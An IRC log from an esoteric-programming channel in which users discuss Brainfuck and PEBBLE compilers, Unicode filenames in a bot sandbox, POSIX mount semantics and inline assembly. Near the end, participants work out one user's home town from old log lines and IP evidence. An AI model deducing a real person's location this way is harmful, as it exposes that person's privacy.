16:06:13 -!- Slereah has joined.
16:06:57 <tetha> however, I might define something as "IO-Genomes", which don't output further signals, but rather print stuff on the console
16:07:08 <tetha> opposed to the "Signal-Genomes", which transform signals
16:07:31 <AnMaster> tetha, what about input as radiation causing "random" changes to genoms?
16:07:49 <tetha> that sounds fun :)
16:08:01 <tetha> we even thought about nondeterminism
16:08:03 <AnMaster> tetha, needs to not be completely random, otherwise it would be pretty much useless
16:08:26 <tetha> "exactly that state transformation occurs which leads into an inconsistent state in the smallest number of steps"
16:08:40 <tetha> but implementing that would be nontrivial
16:09:07 <tetha> but anyway, I need to dig into this university-project further at first
16:09:14 <AnMaster> tetha, shouldn't it be "signal-genes" rather than "signal-genomes"?
16:09:58 -!- KingOfKarlsruhe has quit (Remote closed the connection).
16:10:18 <tetha> bear with me, I am tired and my brain is kind of overloaded with akward java code
16:11:45 <AnMaster> pikhq, there? I can't find PEBBLE by googling
16:14:24 <pikhq> AnMaster: My host is t3h down.
16:14:27 <AnMaster> or maybe your website is dead, found some mention of http://pikhq.nonlogic.org/. But that give me timeout
16:14:31 <pikhq> Like, fell apart entirely.
16:14:47 <AnMaster> pikhq, any idea when it will be back up so I can get hold of pebble?
16:15:01 * AnMaster wanted to read the source for optimisation purposes
16:15:07 <pikhq> I'll have a website next time I have the money for one.
16:15:09 <AnMaster> like figuring out what idioms you use and such
16:15:24 <AnMaster> pikhq, can you filebin pebble + docs for it or something then please?
16:15:24 <pikhq> Would you like me to DCC the pebble 1.0 tarball to you?
16:15:40 <AnMaster> pikhq, dcc is semibroken for me. So filebin would probably work better
16:17:17 -!- Slereah_ has quit (Read error: 110 (Connection timed out)).
16:17:52 <pikhq> http://filebin.ca/ekvsh/pebble-1.0.tar.bz2
16:18:31 <AnMaster> pikhq, I thought you preferred lzma due to size?
16:18:56 <pikhq> Shaddup, that tarball's a few years old.
16:19:04 <AnMaster> brainfucktopebble.tcl ? A decompiler? Interesting
16:19:36 <AnMaster> pikhq, no examples included? Oh well
16:19:51 <pikhq> Would you like a copy of pfuck?
16:20:22 <pikhq> Brainfuck->C compiler written in PEBBLE.
16:20:47 <AnMaster> (same word for "please" and "thanks" in Swedish...)
16:21:51 <AnMaster> nooga, err.. that is "yes roof"
16:22:07 <nooga> tack sounds like polish tak
16:22:15 <tetha> maybe we should reduce all polite phrases to a single grunting noise
16:22:17 <pikhq> http://filebin.ca/euhscg/pfuck-1.1.tar.lzma
16:22:25 <tetha> that would simplify a lot of things
16:22:36 <AnMaster> tetha, how to spell it on irc though
16:22:52 <nooga> "ja tak" means "me yes" (I do???)
16:23:21 <nooga> and sounds exactlylike Swedish "ja tack"
16:23:44 <nooga> it's fun when you say "tak tak tak tak tak" to swede
16:24:09 <AnMaster> in Swedish "ja tak" is "yes roof/ceiling" (same word for those, except if you want to say which you mean you would add a qualifier like "outer/inner" (yttertak and innertak)
16:24:29 <pikhq> The optimize pass, BTW, is ridiculously simple.
16:25:22 <pikhq> PFUCK just does RLE. PEBBLE... It has dead-code elimination and language-specific macros.
16:26:18 <nooga> AnMaster: i've seen these on a map dispenser
16:26:25 <pikhq> Makes for rather good output C from PEBBLE code, but it's not all that complex.
16:26:29 <AnMaster> I have no idea what language you tried to say that in. Probably not Swedish since that would have been för not for
16:26:51 <AnMaster> well. Then you end up with a different word
16:27:29 <AnMaster> "tryck för karta" == press [some button or such implied] for map
16:27:43 <nooga> dzwigac means nothing, but when you write in on the internet pll instantly know that you've meand dźwigać (to carry something heavy)
16:28:13 <AnMaster> nooga, "tryck for karta" = "press travelled map" or something like that.
16:28:41 <nooga> can't you detect context and rule out ridiculous statements?
16:28:46 <AnMaster> "for" is past tense of "fara" meaning travel (when used as a verb)
16:29:16 <AnMaster> nooga, sure, but I have seen quite a few cases where it isn't clear what was meant.
16:29:44 <nooga> is it true that slut means end?
16:29:46 <AnMaster> as for "<nooga> or slut", that can't be Swedish...
16:30:19 <AnMaster> "ör slut" doesn't make sense either
16:30:47 <AnMaster> depending on context you might want to use a different word
16:30:59 <nooga> i'll replace every 'end' with 'slut' in my ruby code
16:31:00 <AnMaster> like "no items left in dispenser"
16:31:07 <AnMaster> might be a better translation for that case
16:31:25 <nooga> and patch the interpreter
16:31:31 <AnMaster> so would indicate someone need to refill the map dispenser
16:34:22 <FireFly> [17:30:59] <nooga> i'll replace every 'end' with 'slut' in my ruby code
16:34:28 <FireFly> What if it takes it as an insult?
16:35:20 * pikhq washes down a cup of coffee with a can of mountain dew
16:36:03 <pikhq> EXTREEEME! caffeine.
16:36:15 <nooga> pikhq: i drink coke with coffee
16:38:08 <FireFly> I guess would work for while ... end
16:38:40 <Asztal> meðan x lykkja ... lykkjulok
16:40:41 <pikhq> Cocaine? Hard core.
16:49:26 -!- nooga has quit (Read error: 104 (Connection reset by peer)).
16:49:44 -!- nooga has joined.
16:57:56 <nooga> Asztal: icelandic?
16:58:10 <nooga> with x do ... done ?
16:59:03 <Asztal> "while x loop ... pool", I think
17:00:42 <EgoBot> sadol :M$0 :d:i,45000@>i-01(2]M0:i-i1:S$0:C;3:l#C-01:p:m0@<pl(2?=#Cp"1+:#Mm%+#Mm1,3255?=#Cp"1-:#Mm?<-#Mm10,3254-#Mm1?=#Cp"1>:m%+m1d?=#Cp"1<:m?<-m10-s1-m1?=#Cp"1.!'2#Mm?=#Cp"1,:#Mm'1;0?=#Cp"1[]S-p1?=#Cp"1]?=#Mm00:p[S0:p+p1
17:09:44 -!- nooga has quit ("Leaving...").
17:18:44 <AnMaster> pikhq, where is the code generated in pebble?
17:18:54 <AnMaster> as in. Where do I look to see what you translate "if" to and such
17:25:16 <GregorR> Would people pronounce my name differently if I spelled it Gregör? :P
17:25:58 <AnMaster> GregorR, since that would make me pronounce it in Swedish.
17:26:03 <GregorR> Also, no non-ASCII unicode characters are significant on a GNU/Linux-mounted ext3 filesystem, right? That is, if I wanted to allow unicode in filenames given to EgoBot, I could blindly accept all non-ASCII?
17:26:16 <tetha> hehe, german pronounciation over here
17:26:36 <AnMaster> GregorR, um? I'm pretty sure you can have files called "ö" on Linux
17:26:46 <AnMaster> just by default ls would show ? instead
17:26:47 <tetha> scots are scary :P
17:27:12 <tetha> heh, so I could have a folder with contents ??? ??? ??? and ??? and they all are different?
17:27:22 <tetha> (according to ls, of course)
17:27:38 <AnMaster> GregorR, or wait you mean allowed chars? Well iirc only the null byte and possibly forward slash are forbidden
17:27:46 <AnMaster> actually forward slash might be valid, not sure
17:28:07 <GregorR> AnMaster: I'm talking about for safety. I reject '.' for safety reasons.
17:28:13 <AnMaster> tetha, you can tell ls to "show me non-printable chars" iirc
17:28:25 <AnMaster> it is by default based on current locale I think
17:28:49 <AnMaster> I can't see . would be a problem...
17:28:52 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
17:28:56 <EgoBot> languages: Esoteric: 1l 2l adjust asm axo bch befunge befunge98 bf bf8 bf16 bf32 boolfuck cintercal clcintercal dimensifuck glass glypho kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl. Competitive: bfjoust fyb. Other: asm c cxx forth sh.
17:29:02 <AnMaster> and for intercal it would be important
17:29:24 <AnMaster> !cintercal http://example.org/triintercal.3i
17:29:25 <EgoBot> ICL778IUNEXPLAINED COMPILER BUG
17:29:45 <AnMaster> GregorR, the extension determines what sort of intercal it is
17:30:22 <GregorR> Well f*** that. Those filenames /never/ survive 'til they're passed to the compiler.
17:30:22 <GregorR> They're downloaded as /tmp/$$.input
17:30:22 <GregorR> I was referring to names e.g. in !bfjoust
17:30:27 <AnMaster> so presumably that file would be stored as triintercal_i then
17:30:40 <GregorR> No, that file would be stored as /tmp/input.$$
17:30:46 <AnMaster> GregorR, hm I'm not sure what ick would do with .input
17:30:55 <GregorR> I'm talking about when I actually use filenames from the user, I don't use filenames from URLs.
17:31:03 <AnMaster> do you do that as gcc -x c then
17:31:11 <pikhq> AnMaster: Forward slash and NULL.
17:31:45 <AnMaster> GregorR, you couldn't do erlang btw, since if module declaration doesn't match filename then it won't compile :)
17:32:05 <AnMaster> like if the file is foo.erl the first non-comment in the file must be -module(foo).
17:32:19 <AnMaster> and I think it will barf on invalid extension too
17:32:20 <GregorR> Things like userinterps, bfjoust files, etc all get actual filenames, which I whitelist. I'm just wondering if I can blindly whitelist all >=128 characters without consequence.
17:32:41 <AnMaster> GregorR, well, I'm not sure if all interpreters would handle it properly
17:32:56 <pikhq> The worst case scenario is that you get some filenames that look a lot like other ones.
17:33:16 <GregorR> pikhq: Not /hugely/ concerning, though not great :P
17:33:38 <AnMaster> GregorR, as long as it is UTF-8 and not, for example UTF-16 I think most programs will cope
17:34:00 <pikhq> (ä and ä are different characters, before normalisation. ;))
17:34:03 <AnMaster> I'm pretty sure cfunge would fail badly on UCS-4. Since iirc UCS-4 can contain literal null bytes.
17:34:14 <AnMaster> and that messes up string handling in C
17:34:40 <AnMaster> utf-8 should work as far as I know yeah
17:35:34 * GregorR bashes his head into a wall.
17:35:48 <AnMaster> pikhq, what about the surrogate pairs area
17:35:58 <GregorR> I am proposing SOLELY to accept all >=128 character values in filename strings.
17:35:59 <AnMaster> isn't that invalid in UTF-8 iirc
17:36:09 <GregorR> That has the consequence of accepting all UTF-8, latin-1 etc.
17:37:10 <pikhq> AnMaster: What about it?
17:37:28 <AnMaster> GregorR, as long as the encoding is UTF-8 it would work fine I assume. Most interpreters probably aren't encoding aware, so if file ends up as latin-1 but it gets the filename as UTF-8 it most likely won't work
17:37:58 <pikhq> Surrogate pairs area?
17:38:29 <AnMaster> pikhq, the think reserved to make utf-16 able to encode chars from the higher planes
17:39:13 <AnMaster> pikhq, you didn't know about it?
17:39:38 <pikhq> I try to ignore UTF-16 whenever possible.
17:40:02 <GregorR> UTF-8 is the only acceptable UTF :P
17:40:21 <pikhq> GregorR: Eh, there's arguments for UCS-4.
17:40:43 <pikhq> Mostly for in-library use.
17:41:06 <GregorR> In-library use should be int *, which is /arguably/ UCS-4, but I'd call it "not encoded".
17:41:31 <pikhq> That's considered UCS-4.
17:41:42 -!- Slereah has quit (Read error: 60 (Operation timed out)).
17:41:55 <pikhq> BTW, every single representation of Unicode is considered an encoding. :p
17:43:27 <GregorR> http://www2.dse.unibo.it/midic/ // laaaaaaaaawl, I can't imagine any degree sounding less like a degree than this one :P
17:43:49 -!- Slereah has joined.
17:44:13 <pikhq> I think we can all agree that UTF-EBCDIC is the single most evil Unicode encoding, though.
17:45:11 <pikhq> (fortunately, the few systems that *use* UTF-EBCDIC use UTF-16 instead)
17:52:56 -!- AnMaster has quit (Success).
17:55:56 -!- AnMaster has joined.
18:01:36 <pikhq> It includes a bunch of stuff that should've been in the Tcl standard library, but isn't.
18:03:22 <AnMaster> nooptimize.tcl nostrip.tcl optimize.tcl strip.tcl
18:03:46 <AnMaster> why a nooptimise.tcl? wouldn't it be an identity transformation?
18:04:02 <GregorR> ln -s /bin/cat nooptimize.tcl
18:04:21 <pikhq> Strips out some optimiser-pass pragmas.
18:04:29 <pikhq> GregorR: ... nooptimize.tcl gets sourced.
18:06:40 <pikhq> nostrip sticks in some debugging info, so I can get a clue what the compiler was thinking.
18:08:26 <AnMaster> pikhq, how do you map memory? Do you do it like gcc-bf and such with every other cell or similiar?
18:08:57 <pikhq> ... *Map* memory? I think you overestimate the sophistication of PEBBLE.
18:09:05 <pikhq> It's a macro language.
18:09:37 <pikhq> It gets mapped however the fuck the developer wants it mapped.
18:12:20 -!- bsmntbombdood has quit (Read error: 60 (Operation timed out)).
18:24:39 -!- inurinternet has joined.
18:26:22 -!- bsmntbombdood has joined.
18:42:45 -!- jix_ has quit (Read error: 104 (Connection reset by peer)).
18:48:16 -!- jix has joined.
19:00:38 -!- oerjan has joined.
19:02:10 <oerjan> <AnMaster> (of course it might be a short (or shorter) in other functional languages, but probably not in anything C-like)
19:02:43 <oerjan> and [-1-x == complement x | x <- [0..256::Word8]]
19:03:05 <oerjan> needs a couple of imports though
19:03:05 <AnMaster> oerjan, what if you wanted bignum there instead.
19:03:21 <AnMaster> oerjan, and the line I mentioned worked right on the REPL
19:03:47 <AnMaster> oerjan, btw, what about the pattern matching against [true] bit?
19:04:05 <oerjan> AnMaster: the and function takes care of that
19:04:24 <oerjan> and also stops at the first inequality
19:06:43 <oerjan> i am not sure but i think it works straight from repl in ghc if you add module qualifiers
19:07:01 <oerjan> Data.Bits and Data.Word
19:12:12 <oerjan> also if you really want to pattern match against [True], the equivalent to usort is (nub . sort) or just nub
19:15:27 <oerjan> nub is a little inefficient though since it doesn't make use of the list being sorted
19:15:45 -!- ais523 has joined.
19:15:51 <GregorR> http://dominion.thruhere.net/koen/images/20090605-IMG_1486.jpg
19:17:26 <tetha> what? that poor chip!
19:17:33 <oerjan> a hamburger with chips, i take
19:18:28 <tetha> thats just cruel :(
19:18:35 * oerjan assumes they were going for that pun
19:23:17 <GregorR> oerjan: It was labeled "hambeagle"
19:24:03 -!- bsmntbombdood has quit (Read error: 113 (No route to host)).
19:24:05 <oerjan> is this #beagle channel about something other than dogs, then?
19:24:35 <GregorR> ...................... Beagleboard, the thing on that sandwich :P
19:24:37 <AnMaster> I would assume it would be about the beagle search thingy for gnome
19:24:52 <pikhq> AnMaster: Beagle's for more than just Gnome.
19:25:04 <AnMaster> pikhq, maybe. I don't use it anyway. I use locate
19:25:14 <GregorR> Beagle is in .SHIT, so I don't use it :P
19:25:15 <pikhq> Beagle's like locate, but more sophisticated.
19:25:27 <pikhq> GregorR: The Gnome frontend is.
19:25:33 <AnMaster> pikhq, I don't need that it very often
19:25:37 <oerjan> GregorR: is that an official designation? :D
19:25:38 <GregorR> Well, yeah, that's what I mean.
19:25:55 <AnMaster> since I always used a very well organised directory structure
19:26:01 <pikhq> The KDE frontend is MOC-C++.
19:26:09 <pikhq> AnMaster: ... Organised? LMAO
19:26:40 <AnMaster> pikhq, yes for example ~/irc/freenode/esoteric/pikhq/pebble/
19:26:45 <ais523> pikhq: how many of the files in your ~ have newlines in their names/
19:27:40 <AnMaster> with dot files it would be much more
19:28:12 <ais523> I thought it was a lowercase a to get dotfiles
19:28:20 <ais523> well, they're dotfiles too
19:28:30 <AnMaster> (or maybe that is standard, no idea)
19:29:34 <pikhq> ... I <3 locate. :p
19:29:44 -!- impomatic has joined.
19:30:05 <AnMaster> pikhq, that is only useful if you know filename
19:30:12 <AnMaster> also it takes way too long to index ~ for me
19:30:22 <AnMaster> since I have mostly lots and lots of small files
19:30:43 <pikhq> ... You know how long it takes to index?
19:30:50 <pikhq> You mean you *don't* have it in a cron job?
19:30:51 <AnMaster> pikhq, so I make it skip ~/src and ~/local entirely
19:31:06 <AnMaster> pikhq, yes I have. But it is disk trashing for hours then
19:31:22 <AnMaster> even when it starts at 02:00 it is running when I wake up at 08:00..
19:31:38 <pikhq> Jeeze, your hard drive is slow.
19:31:42 <AnMaster> pikhq, it is possibly some of the mount --binds I have does mess it up
19:32:16 <pikhq> I'm pretty sure locate indexing takes about 10 minutes on my system.
19:32:32 <AnMaster> pikhq, sure it does about that once I skip ~/src and ~/local
19:32:36 <pikhq> (I gather from the disk thrashing at 2-ish and stopping 10 minutes later)
19:33:01 -!- M0ny has joined.
19:33:56 <AnMaster> ~/src contains amongst other things svn check outs of wesnoth and osg, cvs checkout of flightgear source and data (data checkout is about 1.1 GB... mixed file sizes)
19:34:09 <AnMaster> oh and I think the 17 GB of flightgear scenery is mount --binded into there
19:34:28 <AnMaster> pikhq, each file from the flightgear scenery is about 1-4 KB
19:34:46 <AnMaster> there are a few larger ones at 10 KB or so
19:34:49 <pikhq> ln -s, man! locate handles softlinks much, much, *much* better than it does mount -o bind!
19:35:08 <AnMaster> pikhq, other stuff that I need doesn't properly handle the softlinks, so not an option
19:35:23 <AnMaster> locate isn't the priority there, flightgear and the various tools are
19:35:28 <pikhq> Other stuff you need is fatally broken.
19:36:18 <AnMaster> pikhq, yes I guess svn is broken then, it doesn't like svn:external when the external dir is a symlink. Thus I need a mount --bind
19:36:27 <AnMaster> but yeah I agree in general that svn is broken
19:36:35 <pikhq> Indeed, SVN is broken in that regards.
19:36:55 <pikhq> Especially since mount -o bind only really works on Linux, IIRC.
19:36:58 <AnMaster> pikhq, in fact, all VCSes I know of that support something like svn:externals are broken when it comes to this
19:37:16 -!- impomatic has left (?).
19:37:31 <AnMaster> pikhq, they handle symlinks separately from directories
19:37:36 <AnMaster> and there is no sane workaround
19:37:43 <AnMaster> since you might want to check in a symlink
19:37:50 -!- bsmntbombdood has joined.
19:37:57 <AnMaster> perfectly reasonable thing to do
19:38:59 <pikhq> EVERYTHING IS BROKEN ON UNIX!!!
19:39:08 * pikhq joins the cult of Plan 9
19:39:40 <AnMaster> pikhq, also, doesn't bind mounts work on FreeBSD iirc?
19:39:53 <AnMaster> since I used them a lot to share ports tree between jails
19:40:12 <pikhq> It's still a non-POSIX extension, I'm pretty sure...
19:40:16 <AnMaster> something linux only supports since 2.6.24 or something like that
19:40:46 <AnMaster> pikhq, good thing that I never planned to use this setup on anything but my current OS
19:41:01 <AnMaster> heck, ext3 isn't portable either is it :P
19:41:23 <AnMaster> xfs is portable to IRIX iirc (or was it JFS that was?)
19:41:29 <pikhq> ext3 handles most POSIX semantics.
19:41:35 <AnMaster> ext3 and xfs are the two FSes I use
19:42:08 <pikhq> POSIX doesn't specify what filesystem should be used, it specifies what the filesystem should support. ;)
19:42:25 <AnMaster> pikhq, btw, I'm pretty sure "mount" isn't specified by POSIX
19:42:40 <AnMaster> "mount point" is defined as something implementation defined iirc
19:42:48 <pikhq> Maybe not POSIX.1, but there's more to POSIX than that.
19:42:50 <AnMaster> pikhq, I'm looking in POSIX.1-2008 atm...
19:43:02 <pikhq> POSIX.1 is a small portion of POSIX.
19:43:30 <pikhq> Windows implements POSIX.1. ;)
19:43:40 <AnMaster> pikhq, so what are the other sections? IIRC POSIX.2 and such were unified into a single POSIX.1 in the 2001 version?
19:44:18 -!- tetha has quit (Nick collision from services.).
19:44:27 -!- tetha has joined.
19:44:40 <pikhq> I might just have to stab the POSIX standard.
19:44:48 <pikhq> (not specifying *mount*?!?)
19:45:19 <AnMaster> pikhq, mount point is defined in some general terms iirc that leaves it partly implementation defined
19:46:20 <pikhq> So, SuS > POSIX. Got it.
19:48:37 <AnMaster> pikhq, I'm not sure if SuS specifies it
19:49:19 <AnMaster> pikhq, not really. POSIX is meant to be possible to implement on embedded systems
19:50:02 <pikhq> No, it's meant to specify UNIX.
19:50:57 <AnMaster> it does have an embedded "profile"
19:51:23 <AnMaster> btw checked SuSv3, can't find mount there either
19:52:33 <AnMaster> 1994 Either the system root directory or a directory for which the st_dev field of structure stat differs
19:52:33 <AnMaster> 1995 from that of its parent directory.
19:52:33 <AnMaster> 1996 Note: The stat structure is defined in detail in <sys/stat.h>.
19:54:32 -!- pikhq has quit (Read error: 54 (Connection reset by peer)).
20:02:18 -!- pikhq has joined.
20:08:38 <EgoBot> Installed user interpreters: bc bct bfbignum brit chiqrsx9p choo dc echo google gregor hello num ook plot rot13 sadbf slashes swedish yodawg
20:29:53 <GregorR> !swedish This is the best userinterp ever.
20:29:54 <EgoBot> Thees is zee best usereenterp ifer. Bork Bork Bork!
20:34:25 <pikhq> !gregor What, pray tell, does this do?
20:34:25 <EgoBot> What, pray tell, does this do?
20:34:41 <EgoBot> Unknown command (hhh) encountered
20:34:45 <EgoBot> sh sed 's/þ/th/g ; s/Þ/Th/g ; s/ſ/s/g ; s/æ/ae/g ; s/Æ/Ae/g ; s/œ/oe/g ; s/Œ/Oe/g'
20:34:46 <EgoBot> Unknown command (h h h) encountered
20:34:48 <pikhq> !gregor What, pray tell, doþ þis do?
20:34:48 <EgoBot> What, pray tell, doth this do?
20:35:10 <EgoBot> c char buf[1024]; int i; fgets(buf, 1024, stdin); for (i=0;buf[i];i++)buf[i]=(buf[i]=='\n')?'\0':buf[i]; if (!strcmp(buf, "h")) printf("Hello World\n"); else printf("Unknown command (%s) encountered\n", buf);
20:35:16 * pikhq really needs to finish off his Brainfuck specialiser
20:36:18 -!- BeholdMyGlory has joined.
20:36:29 -!- Slereah_ has joined.
20:36:43 <ais523> AnMaster: it's syntatically correct but segfaults
20:36:57 <oerjan> i believe !c puts things as an expression inside the real main()
20:37:00 <AnMaster> ais523, segfaults because no return value or?
20:37:12 <ais523> because it tries to interpret 42 as an address
20:37:12 <pikhq> oerjan: Unless main is defined.
20:37:22 <oerjan> !c int main=42; printf("%d\n", main);
20:37:23 <AnMaster> ais523, but this is inside main? as oerjan said?
20:37:29 <pikhq> !c int main(){main();}
20:37:31 <EgoBot> ./interps/gcccomp/gcccomp: line 52: 1184 Segmentation fault /tmp/compiled.$$ 2>&1
20:37:51 <ais523> obviosuly it isn't optimising tail calls
20:38:03 <pikhq> !c int main(){printf("%p", main);}
20:38:09 <AnMaster> that means GNU Compiler Collection Compiler?
20:38:10 <ais523> print("%d",__GCC_VERSION);
20:38:18 <ais523> printf("%d",__GCC_VERSION);
20:38:20 <ais523> !c printf("%d",__GCC_VERSION);
20:38:28 <ais523> !c printf("%d",__GNUC_VERSION__);
20:38:32 <ais523> !c printf("%d",__GNUC_VERSION);
20:38:56 <AnMaster> ais523, I never seen the other one before
20:39:05 <ais523> I probably got confused with something else
20:39:15 <ais523> !c printf("%d",__GNUC_MINOR);
20:39:23 <AnMaster> !c printf("%d.%d",__GNUC__,__GNUC_MINOR__);
20:39:25 <pikhq> !c int main(){printf("%p", main);int foo(){return 0x10;};main = foo;printf("%p %p", main, foo);printf("%i", main());return 0;}
20:39:39 <AnMaster> !c printf("%d.%d.%d",__GNUC__,__GNUC_MINOR__,__GNUC_PATCHLEVEL__);
20:39:42 <pikhq> Aaaw, I tried doing fancy stuff.
20:40:19 -!- MigoMipo has joined.
20:40:20 <pikhq> !c int main(){int foo(){return 0x10;};printf("%p %p", main, foo);}
20:40:24 <AnMaster> !c printf("%d", __STDC_VERSION__);
20:40:38 <pikhq> AnMaster: __STDC__
20:40:46 <AnMaster> pikhq, C99 defines the latter too
20:40:50 <pikhq> !c printf("%d", __STDC__);
20:40:57 <pikhq> Ah, right. Must be GNU90.
20:42:31 <AnMaster> !c printf("%d", __OPTIMIZE__);
20:43:32 <pikhq> ... Hmm. I'm not sure why I'm doing jmp $0, actually.
20:43:47 <AnMaster> <EgoBot> perl: warning: Please check that your locale settings:
20:44:00 <pikhq> ... That's... Unique.
20:44:09 <AnMaster> pikhq, it goes on for several lines
20:44:14 <AnMaster> not sure how it is related to GCC...
20:44:59 <GregorR> AnMaster: How did you cause that?
20:45:10 <AnMaster> GregorR, !c __asm__("jmp $0");
20:45:23 <AnMaster> GregorR, if you are going to use locales, install them in the chroots
20:45:28 <GregorR> Although !c seems fekky :P
20:45:31 <AnMaster> something like locale-gen iirc
20:45:42 <GregorR> And I don't have that output.
20:45:49 <AnMaster> GregorR, you do if you use anything by all LC_* set to C
20:45:52 <oerjan> !slashes Is this working now?
20:45:53 <EgoBot> perl: warning: Setting locale failed.
20:45:54 <ais523> Perl often complains if it doesn't see locales
20:46:05 <AnMaster> GregorR, LANG = "en_US.UTF-8" <-- you use locales
20:46:05 <ais523> although just setting them all to LC_C works
20:46:31 <GregorR> AnMaster: Oh, that must have been set because I ran EgoBot from a shell instead of init.d this last time X_X
20:46:59 <AnMaster> GregorR, possibly. Either way it is broken now
20:47:04 <pikhq> ais523: Setting them to "" or "C", thou meanſt.
20:47:08 -!- EgoBot has quit (Remote closed the connection).
20:47:25 -!- EgoBot has joined.
20:47:38 <AnMaster> GregorR, oh and if locales aren't set up to a lot of programs will probably fail to handle those file names you mentioned. Heck, java will probably at least
20:47:44 <GregorR> !slashes Is this working now?
20:48:10 <pikhq> AnMaster: He should probably install en_US.UTF-8 at bare minimum.
20:48:11 <AnMaster> <EgoBot> ./interps/gcccomp/gcccomp: line 52: /tmp/compiled.2420: No such file or directory
20:48:19 <AnMaster> GregorR, that doesn't make sense
20:48:43 -!- Slereah has quit (Read error: 110 (Connection timed out)).
20:48:44 <oerjan> !slashes Is this working now?
20:49:09 <oerjan> !slashes Is this \\\working?
20:50:31 <GregorR> It works, those legitimately don't compile :P
20:50:41 <EgoBot> ./interps/gcccomp/gcccomp: line 52: 2776 Segmentation fault /tmp/compiled.$$ 2>&1
20:51:21 <AnMaster> tends to work better you know ;P
20:51:51 -!- ehird has left (?).
20:51:54 <EgoBot> ./interps/gcccomp/gcccomp: line 52: 2843 Segmentation fault /tmp/compiled.$$
20:52:08 <EgoBot> ./interps/gcccomp/gcccomp: line 52: 2886 Segmentation fault /tmp/compiled.$$
20:52:34 <EgoBot> ./interps/gcccomp/gcccomp: line 52: 2958 Segmentation fault /tmp/compiled.$$
20:53:08 <AnMaster> GregorR, so why do I need to use double %% for registers in inline asm in cfunge?
20:53:15 <ais523> I can't remember how asm statements in gcc work
20:53:27 <ais523> I've only ever written two, and neither used a literal register
20:53:39 <GregorR> AnMaster: I have no idea how inline asm works in cfunge.
20:53:43 -!- ehird has joined.
20:53:47 <ehird> 16:17:28 <fizzie> [2008-12-23 17:25:57] < ehird> I don't exactly have plans to try and see if they'd welcome a random 14 year old, no. :P
20:53:50 <ehird> 16:17:41 <fizzie> Inconclusive. Maybe the first one was a typo; it was just one line from grepping.
20:53:52 <ehird> was talking about future event
20:53:54 <ehird> 16:20:07 <psygnisfive> hes in zambia
20:54:00 <ehird> 16:20:35 <jix_> ok he is from the US (at least his internet connection is)
20:54:11 <ehird> 16:22:23 <oerjan> fizzie: hexham or something like that
20:54:15 <fizzie> ehird: Yes, I mentioned the futureness of the event later on when I noticed it.
20:54:31 <AnMaster> !c int a = 0; __asm__("mov $2, %var" : [var] "=m"(a)); printf("%d", a);
20:54:34 <ehird> 16:24:06 <fizzie> Based on grepping for "live in" in ehird's comments, he lives: (a) "a little hole"; (b) "in the shadow of his [tusho] memory"; (c) "BIZZARO BRITAIN"; (d) "21st century"; (e) "in a world of infinite memory".
20:54:39 <ehird> i can't remember saying any of those
20:54:44 <ehird> apart from 21st century
20:54:56 <AnMaster> GregorR, why isn't it DCCing me any more
20:55:03 <fizzie> I had to interpret a bit. It was something like "I prefer to live in a world of infinite memory" and so on.
20:55:06 <ais523> unless he's been constantly lying, though, he lives in Hexham
20:55:11 <AnMaster> !c int a = 0; __asm__("mov $2, %[var]" : [var] "=m"(a)); printf("%d", a);
20:55:12 <GregorR> AnMaster: It has no further output.
20:55:18 <ais523> and the IP evidence implies somewhere nearby
20:55:20 <GregorR> AnMaster: Before it was trying to run the file it failed to compile.
20:55:22 <ehird> ais523: i once knew a guy who claimed he lived in hawaii
20:55:28 <ehird> he actually lived in Pennsylvania
20:55:29 <AnMaster> GregorR, if it doesn't compile it needs a error message
20:55:39 <GregorR> AnMaster: E_IDONTGIVEAFUCK
20:55:41 <AnMaster> GregorR, the GCC error message
20:55:46 <ais523> what a pointless lie...
20:55:54 <GregorR> The GCC error output is too long and annoying.
20:56:20 <ehird> ais523: yeah, totally
20:56:36 <ehird> i think i joked to him about SPAM at one time, haha
20:56:41 <GregorR> !c is not meant to be a way to debug your C code :P
20:57:03 <ehird> fizzie: context for those live-in lines? i'm grepping myself but slow
20:57:15 <ehird> 16:25:42 <psygnisfive> one of the things were going to do is make it heavily data-oriented
20:57:15 <ehird> 16:25:49 <psygnisfive> so that applications are almost non-existant
20:57:19 <ehird> linux is a terrible platform for that
20:57:21 <AnMaster> tmp.c:2: Error: no instruction mnemonic suffix given and no register operands; can't size instruction
20:57:21 -!- GregorR has set topic: <ehird> i'm grepping myself but slow | http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
20:57:30 <ehird> it's completely against its philosophy
20:59:02 <AnMaster> you only need double % for registers when you have constraints
20:59:23 <AnMaster> !c int a = 0; __asm__("mov $2, %[var]" : [var] "=r"(a)); printf("%d", a);
20:59:37 <fizzie> ehird: (all these in some freaky EET/EEST) little hole 2007-11-21 20:43:18, memory-shadow 2008-10-02 23:15:38, bizzaro 2008-10-15 17:46:20, 21st 2008-12-30 01:41:42, infmem 2009-01-18 19:39:21; those should help limit grepping.
21:00:00 <EgoBot> /usr/bin/find: `/': Function not implemented
21:00:04 <AnMaster> GregorR, who were you talking about?
21:00:15 <GregorR> AnMaster: <AnMaster> !c int a = 0; __asm__("mov $2, %[var]" : [var] "=r"(a)); printf("%d", a);
21:00:26 <GregorR> AnMaster: Because "a = 2" is so tough :P
21:00:33 <ehird> 10:43:15 <ehird`> yes, 186!
21:00:33 <ehird> 10:43:18 <ehird`> i live in a little hole
21:00:35 <EgoBot> /usr/bin/find: `/dev': Function not implemented
21:00:36 <AnMaster> GregorR, it was rather to test if it worked
21:00:40 <ehird> that's, uh, delightfully nonsequitur
21:01:16 <AnMaster> GregorR, normally you would use inline asm for other stuff of course .P
21:01:55 <AnMaster> or stuff that has no mapping in C
21:02:33 <AnMaster> (like "restore FPU register from register save" in the kernel when context switching)
21:02:38 * pikhq observes that there is not a Brainfuck Forth.
21:02:41 * pikhq notes that there should be one.
21:02:49 <oerjan> ehird: did #haskell say anything about your Mirror functions?
21:02:58 <ehird> oerjan: mauke got confused
21:03:01 <ehird> 'part from that...
21:03:22 <oerjan> ehird: i had some thoughts. this could be sort of like a hsJoust...
21:03:35 <ehird> oerjan: ah! I was thinking about how to do tht
21:03:43 <ehird> detecting your opponent is an excellent way
21:03:52 <ehird> (hsjoust in general that is)
21:03:57 <ehird> pikhq: I started to write one
21:04:18 <oerjan> Suggested scoring: (1) if runM m m does not return True, m is disqualified
21:04:27 <ehird> 16:29:40 <pikhq> psygnisfive: I just say "the Linux kernel" as disambiguation for those folk, but anyways...
21:04:38 <ehird> GNU/Linux/X11/cron/init
